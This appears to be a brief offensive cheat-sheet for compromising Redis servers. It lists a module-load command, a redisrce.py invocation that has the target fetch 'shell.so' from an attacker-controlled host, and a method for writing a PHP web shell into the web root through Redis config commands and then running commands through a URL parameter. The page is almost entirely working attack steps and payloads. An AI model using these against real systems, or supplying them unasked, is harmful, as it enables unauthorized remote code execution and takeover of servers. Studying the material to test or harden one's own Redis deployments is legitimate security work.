Last updated 2 years ago
Redcli
LOAD MODULE /var/ftp/pub/module.so
RedisRCE
redisrce.py -r 10.10.10.10 -p 6379 -L 10.10.10.20 -P 6379 -f shell.so
WebShell
Prereqs: Known absolute path to web root
Access to redis cli
config set dir /var/www/html config set dbfilename sys.php set test “<?php system($_REQUEST['cmd']); ?>” save
Navigate to the page to execute:
$IP/sys.php?cmd=id